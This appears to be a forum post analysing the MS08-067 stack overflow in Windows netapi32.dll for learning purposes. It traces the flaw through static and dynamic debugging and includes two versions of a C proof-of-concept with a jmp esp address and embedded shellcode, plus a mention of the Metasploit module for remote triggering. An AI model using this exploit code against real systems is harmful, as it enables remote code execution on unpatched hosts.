吾爱破解 - 52pojie.cn

 找回密码
 注册[Register]

QQ登录

只需一步,快速开始

查看: 5554|回复: 17
收起左侧

[漏洞分析] 漏洞分析:MS08-067

  [复制链接]
kn0sky 发表于 2022-4-18 17:29
本帖最后由 kn0sky 于 2022-4-18 17:33 编辑

前言

最近开始学习漏洞分析相关内容,完成对Windows相关安全机制的学习后,便是寻找实例进行练习,这是第二个实例分析

MS08-067是另一个经典的栈溢出漏洞,原理依然很好理解

在此分享一下自己的分析过程,希望对同样是漏洞分析新手的同学有所帮助

漏洞介绍

官方公告:Microsoft 安全公告 MS08-067 - 严重 | Microsoft Docs

漏洞简述

  • 漏洞名称:MS08-067
  • 漏洞编号:CVE-2008-4250
  • 漏洞类型:栈溢出
  • 漏洞影响:远程代码执行
  • CVSS评分:9.8
  • 利用难度:Medium
  • 利用方式:远程

漏洞利用

MS08-067是继MS06-040之后又一个可以利用的RPC漏洞,在MS06-040的漏洞分析中,漏洞存在于netapi32.dll的导出函数NetpwPathCanonicalize在处理字符串时出现了错误,导致了栈溢出,2年后的MS08-067依然是这个函数出现了错误导致了栈溢出

在netapi32.dll的NetpwPathCanonicalize函数调用时会调用CanonicalizePathName函数,对远程访问路径进行规范化:

  1. /改成\
  2. 去掉相对路径.\..\

通过构造合适的路径,可以在对第2条进行规范化的实现中RemoveLegacyFloder发生了栈溢出,可以造成RCE,栈溢出覆盖最终会覆盖wcscpy的返回地址,该函数没有GS保护,但可用shellcode空间大小有限

漏洞影响

根据msf的exp可以确定被攻击的操作系统版本:Windows 2000、2003 SP0\SP1\SP2、XP SP0/SP1/SP2/SP3

漏洞分析

复现环境

  • Windows XP SP3 Chinese
  • VC++6.0
  • x86dbg和OD
  • IDA Pro 7.5

漏洞成因

漏洞产生于netapi32.dll,问题发生其导出函数NetpwPathCanonicalize内部规范化远程路径的子函数CanonicalizePathName中的RemoveLegacyFolder里,由于向上遍历\字符时,缓冲区安全边界检查不合理导致遍历到\时,该字符的地址出现在缓冲区外部,经过wcscpy造成栈溢出覆盖返回地址

静态分析

漏洞出现在和MS06-040相同的函数里:MS06040因为缓冲区安全检查判断大小编写有问题导致栈溢出,在Windows XP SP3已经得到了修复:

image-20220329172934554-20220330103027-d5rcfwm.png
在拼接完成Perfix和path之后,会对路径进行规范化处理:

  1. 会把路径中所有的/都换成\
  2. \..\.\进行处理,移除经典路径

这里出问题的函数就是做第二步的函数,函数的参数是拼接完成的路径

image-20220329173319652-20220330103027-vh7f18z.png
函数内部首先从缓冲区首地址里把第一个字符取出来,比对看是不是\或者/

是的话,就会进入跳转:

image-20220329173500354-20220330103027-mwur1k6.png
跳转过来判断下一个字符,如果不是\就跳转走:

image-20220329173534497-20220330103027-v0cekw7.png
如果也不是/则接着跳转:

image-20220329173705542-20220330103027-5gn5178.png
这里就循环去找下一个\或者.,此时的esi应该就是个指针(p1)用来遍历的

当找到\的时候:

image-20220329173843719-20220330103027-xqc202p.png
这里会取之前的一个字符赋值给ebx,ebx也算是个指针(p2)

这里是跳转过来给三个指针赋了一下值,然后接着进行跳转回去再次循环找\.

当找到.的时候:

image-20220329174355537-20220330103027-08umwyj.png
首先判断当前字符的上一个字符是不是\,然后判断下一个字符是不是.以及再下一个字符是不是\,实际上就是判断当前指向的字符是不是\..\,如果是,则把第二个\开始的内容复制到上一个\的位置,通过wcscpy进行复制

复制完成之后,就把\..\给移去了,原理图(来自参考资料[1]):

873556_WFJ5CRTBHXJXWPX-20220330103027-1gj6evn.jpg
在这复制完成之后,指针指向的位置乱了,P3指向了当前搜索的最新的\,P1P2指向了无意义的地方,这里需要重新找到这三个指针应该在的位置:P3指向前一个\,P1指向最新的\

image-20220329175018075-20220330103027-vezd160.png
这里首先是修复了P1,P2会在P1找到指定字符的时候设置

然后紧接着比对P3上一个字符是不是\,向前循环寻找\,直到找到\为止,然后再次循环寻找下一个需要恢复的经典地址

在向前移动指针寻找\的时候,会进行地址的合法性校验,这里校验使用的是jz指令,是检验指针地址等于缓冲区首地址的时候进行跳出,当地址出现这种情况的时候:

\..\..\aaa\bbb\ccc

则指针一开始就位于缓冲区左边了,无论循环多少次都不可能被校验出问题来

如果校验条件改为jbe指令(小于等于),则就不存在这个问题了

当循环结束,在变量的缓冲区外面找到一个\的时候,下次wcscpy时,就会把东西都复制到外头去,如果会循环的时候会路过返回地址,则刚好能给覆盖掉,存在利用的可能

成功溢出的条件:

  1. 向前搜索\时越过缓冲区首地址
  2. 合并路径中至少存在两个连续的..\
  3. 合并路径中第二个..\后有足够多的字符能够覆盖返回地址

动态分析

Poc代码

代码来自参考资料[1],对本实验环境来说需要进行修改,修改见下文描述

#include <windows.h>
#include <stdio.h>

typedef int(__stdcall* MYPROC) (LPWSTR, LPWSTR, DWORD, LPWSTR, LPDWORD, DWORD);

// address of jmp esp
//xp sp3 chinese
#define JMP_ESP "\xcd\x54\xfa\x7f\x00\x00"

//shellcode
#define SHELL_CODE \
"\x90\x90\x90\x90" \
"\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C" \
"\x8B\xF4\x8D\x7E\xF4\x33\xDB\xB7\x04\x2B\xE3\x66\xBB\x33\x32\x53" \
"\x68\x75\x73\x65\x72\x54\x33\xD2\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B" \
"\x49\x1C\x8B\x09\x8B\x69\x08\xAD\x3D\x6A\x0A\x38\x1E\x75\x05\x95" \
"\xFF\x57\xF8\x95\x60\x8B\x45\x3C\x8B\x4C\x05\x78\x03\xCD\x8B\x59" \
"\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x99\x0F\xBE\x06\x3A" \
"\xC4\x74\x08\xC1\xCA\x07\x03\xD0\x46\xEB\xF1\x3B\x54\x24\x1C\x75" \
"\xE4\x8B\x59\x24\x03\xDD\x66\x8B\x3C\x7B\x8B\x59\x1C\x03\xDD\x03" \
"\x2C\xBB\x95\x5F\xAB\x57\x61\x3D\x6A\x0A\x38\x1E\x75\xA9\x33\xDB" \
"\x53\x68\x77\x65\x73\x74\x68\x66\x61\x69\x6C\x8B\xC4\x53\x50\x50" \
"\x53\xFF\x57\xFC\x53\xFF\x57\xF8\x00\x00"

int main(int argc, char* argv[])
{
    WCHAR path[256] = { 0 };
    WCHAR can_path[256] = { 0 };
    DWORD type = 1000;
    int retval;
    HMODULE handle = LoadLibrary(L".\\netapi32.dll");
    MYPROC Trigger = NULL;

    if (NULL == handle)
    {
        wprintf(L"Fail to load library!\n");
        return -1;
    }

    Trigger = (MYPROC)GetProcAddress(handle, "NetpwPathCanonicalize");
    if (NULL == Trigger)
    {
        FreeLibrary(handle);
        wprintf(L"Fail to get api address!\n");
        return -1;
    }

    path[0] = 0;
    //112 => 109
    wcscpy(path, L"\\aaa\\..\\..\\bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb");
    wcscat(path, (const wchar_t*)JMP_ESP);
    wcscat(path, (const wchar_t*)SHELL_CODE);

    type = 1000;
    wprintf(L"BEFORE: %s\n", path);
    retval = (Trigger)(path, can_path, 1000, NULL, &type, 1);
    wprintf(L"AFTER : %s\n", can_path);
    wprintf(L"RETVAL: %s(0x%X)\n\n", retval ? L"FAIL" : L"SUCCESS", retval);
    FreeLibrary(handle);

    return 0;
}
调试分析

对漏洞函数下断点,然后执行观察流程:

image-20220329192102349-20220330103027-62qr0mk.png
首先会遍历路径去寻找\,然后跳转去保存该\的地址,接着遍历下一个字符

下一个字符是.也会被命中,会进入另一个跳转:

image-20220329192520233-20220330103027-13vwm6e.png
跳转去处理\..\路径了,这里构造的路径开头是:\aaa\..\..\bbbb,就会变成如图所示的:\..\bbbb,接下来会进行跳转去修正指针esi和edi的位置

image-20220329192834380-20220330103027-py7cbjr.png
在修正过程中,第一次安全检查就如静态分析的一样,地址直接出现在了缓冲区首地址的前面

当找到\的时候:

image-20220329193056454-20220330103027-0ca61pz.png
地址在0x12F25E,距离当前还很远,我们能够利用的缓冲区大小可没有这么大

遇到了个问题:如何让上一个\出现在接近栈顶的位置呢?

尝试了各种修改项目设置,最后发现,用VC++6.0编译即可直接满足要求

用VC++6.0重新编译后,运行到这里:

image-20220329195906491-20220330103027-msyx9o4.png
\的位置是0x12F5FA,返回地址的位置是0x12F6FC,距离是:0x12F6FC - 0x12F5FA = 0x102

输入的路径可以达到这个大小

第一次调用wcscpy会让前面的aaa消失,第二次调用的时候,会覆盖栈,因为wcscpy是函数调用,所以会在wcscpy函数中覆盖返回地址,通过该函数的返回地址跳转去shellcode,而且该函数没有GS保护

第二次复制的时候进入wcscpy观察栈的情况:

image-20220329201810855-20220330103027-ip04ba0.png
刚刚那个poc代码中的路径长度不够,需要再加12个宽字符才能成功覆盖返回地址

解释一下ROP的构造(虽然代码是网上copy的,但还是能看懂的):

因为wcscpy会造成栈溢出,导致返回地址被覆盖,也就是说esp往后的内容都是可控的

所以需要通过ret跳转到一个能直接jmp esp的地方,然后直接jmp esp就能直接让执行流回到栈上来,所以这里的Shellcode构造思路很简单,路径+jmp esp地址+ shellcode

修改后的Poc代码

修改poc代码:

#include <windows.h>
#include <stdio.h>

typedef int(__stdcall* MYPROC) (LPWSTR, LPWSTR, DWORD, LPWSTR, LPDWORD, DWORD);

// address of jmp esp
//xp sp3 chinese
#define JMP_ESP "\xcd\x54\xfa\x7f\x00\x00"

//shellcode
#define SHELL_CODE \
"\x90\x90\x90\x90" \
"\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C" \
"\x8B\xF4\x8D\x7E\xF4\x33\xDB\xB7\x04\x2B\xE3\x66\xBB\x33\x32\x53" \
"\x68\x75\x73\x65\x72\x54\x33\xD2\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B" \
"\x49\x1C\x8B\x09\x8B\x69\x08\xAD\x3D\x6A\x0A\x38\x1E\x75\x05\x95" \
"\xFF\x57\xF8\x95\x60\x8B\x45\x3C\x8B\x4C\x05\x78\x03\xCD\x8B\x59" \
"\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x99\x0F\xBE\x06\x3A" \
"\xC4\x74\x08\xC1\xCA\x07\x03\xD0\x46\xEB\xF1\x3B\x54\x24\x1C\x75" \
"\xE4\x8B\x59\x24\x03\xDD\x66\x8B\x3C\x7B\x8B\x59\x1C\x03\xDD\x03" \
"\x2C\xBB\x95\x5F\xAB\x57\x61\x3D\x6A\x0A\x38\x1E\x75\xA9\x33\xDB" \
"\x53\x68\x77\x65\x73\x74\x68\x66\x61\x69\x6C\x8B\xC4\x53\x50\x50" \
"\x53\xFF\x57\xFC\x53\xFF\x57\xF8\x00\x00"

int main(int argc, char* argv[])
{
    WCHAR path[256] = { 0 };
    WCHAR can_path[256] = { 0 };
    DWORD type = 1000;
    int retval;
    HMODULE handle = LoadLibraryA(".\\netapi32.dll");
    MYPROC Trigger = NULL;

    if (NULL == handle)
    {
        wprintf(L"Fail to load library!\n");
        return -1;
    }

    Trigger = (MYPROC)GetProcAddress(handle, "NetpwPathCanonicalize");
    if (NULL == Trigger)
    {
        FreeLibrary(handle);
        wprintf(L"Fail to get api address!\n");
        return -1;
    }

    path[0] = 0;
    //112 => 109
    wcscpy(path, L"\\aaa\\..\\..\\bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbccccccccdddddd");
    wcscat(path, (const wchar_t*)JMP_ESP);
    wcscat(path, (const wchar_t*)SHELL_CODE);

    type = 1000;
    wprintf(L"BEFORE: %s\n", path);
    retval = (Trigger)(path, can_path, 1000, NULL, &type, 1);
    wprintf(L"AFTER : %s\n", can_path);
    wprintf(L"RETVAL: %s(0x%X)\n\n", retval ? L"FAIL" : L"SUCCESS", retval);
    FreeLibrary(handle);

    return 0;
}

直接运行:

image-20220329201955026-20220330103027-crqc4zz.png
成功弹窗,shellcode执行成功

远程调试

这一块内容主要参考参考资料[2]

该服务允许在svchost.exe进程中,通过wmic命令找到该进程的参数:

wmic process where caption="svchost.exe" get caption,handle,commandline

image-20220330100159299-20220330103027-vhnjuyf.png
这个参数是-k netsvcs的进程就是我们要找的进程

打开OD(默认配置的x86dbg附加不了),附加该进程,在导出函数NetpwPathCanonicalize上下断点

打开kali,选择08067的利用,设置好ip,run,即可触发断点进行调试,调试过程和本地调试一样,具体内容见参考资料[2]

参考资料

免费评分

参与人数 5威望 +2 吾爱币 +104 热心值 +4 收起 理由
宝娜果 + 1 谢谢@Thanks!
ChenChu2001 + 1 虽然是老漏洞了,但是楼主分析得很详细,可以学习这种分析的思维
fengbolee + 2 + 1 欢迎分析讨论交流,吾爱破解论坛有你更精彩!
willJ + 2 + 100 + 1 感谢发布原创作品,吾爱破解论坛因你更精彩!
hackerbob + 1 + 1 好牛逼

查看全部评分

发帖前要善用论坛搜索功能,那里可能会有你要找的答案或者已经有人发布过相同内容了,请勿重复发帖。

glorymusic 发表于 2022-4-18 20:55
学习了,这个是个老漏洞~!~!~
cq2002 发表于 2022-4-18 21:47
amwquhwqas128 发表于 2022-4-18 22:29
头像被屏蔽
tl;dr 发表于 2022-4-19 06:04
提示: 作者被禁止或删除 内容自动屏蔽
ShanGuiOne 发表于 2022-4-19 07:36
虽然暂时用不到,但还是学习学习
hackerbob 发表于 2022-4-19 08:21
本帖最后由 hackerbob 于 2022-4-19 08:23 编辑

写得太好了,这篇不是优秀就是精华
可是,我就是看不懂
xuebinboy 发表于 2022-4-19 09:50
很经典的,学习了
aolmin 发表于 2022-4-19 14:54
除了靶场基本上没有主机存在此漏洞了
gjdjjwzx 发表于 2022-4-23 08:29
适合攻防演练。
您需要登录后才可以回帖 登录 | 注册[Register]

本版积分规则

返回列表

RSS订阅|小黑屋|处罚记录|联系我们|吾爱破解 - LCG - LSG ( 京ICP备16042023号 | 京公网安备 11010502030087号 )

GMT+8, 2024-11-21 20:04

Powered by Discuz!

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表